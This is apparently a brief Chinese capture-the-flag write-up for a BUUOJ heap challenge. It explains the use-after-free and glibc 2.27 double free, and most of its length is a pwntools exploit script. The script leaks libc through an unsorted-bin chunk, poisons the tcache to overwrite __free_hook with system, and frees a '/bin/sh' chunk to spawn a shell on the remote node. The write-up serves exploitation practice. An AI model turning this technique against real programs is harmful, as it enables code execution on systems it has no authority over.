RELRO半开
就是个菜单堆。
free
free函数有uaf。
2.27的libc直接double free就好了。
exp
from pwn import *
r = remote("node4.buuoj.cn", 26014)
def add(size,cont):
r.sendlineafter(">>", '1')
r.sendlineafter('Size', str(size))
r.sendlineafter('Contet', cont)
def dele(idx):
r.sendlineafter(">>", '4')
r.sendlineafter('Index', str(idx))
def edit(idx,cont):
r.sendlineafter(">>", '3')
r.sendlineafter('Index', str(idx))
r.sendline(cont)
def show(idx):
r.sendlineafter(">>", '2')
r.sendlineafter('Index', str(idx))
add(0x30,'aaa\n')#0
add(0x30,'bbb\n')#1
add(0x450,'xxxx\n')#2
add(0x30,'/bin/sh\n')#3
dele(2)
show(2)
addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = addr - 0x3ebca0
free_hook = libc_base +4118760
system = libc_base+324672
print hex(libc_base)
dele(1)
dele(0)
dele(0)
edit(0,p64(free_hook))
add(0x30,p64(system))
add(0x30,p64(system))
dele(3)
r.interactive()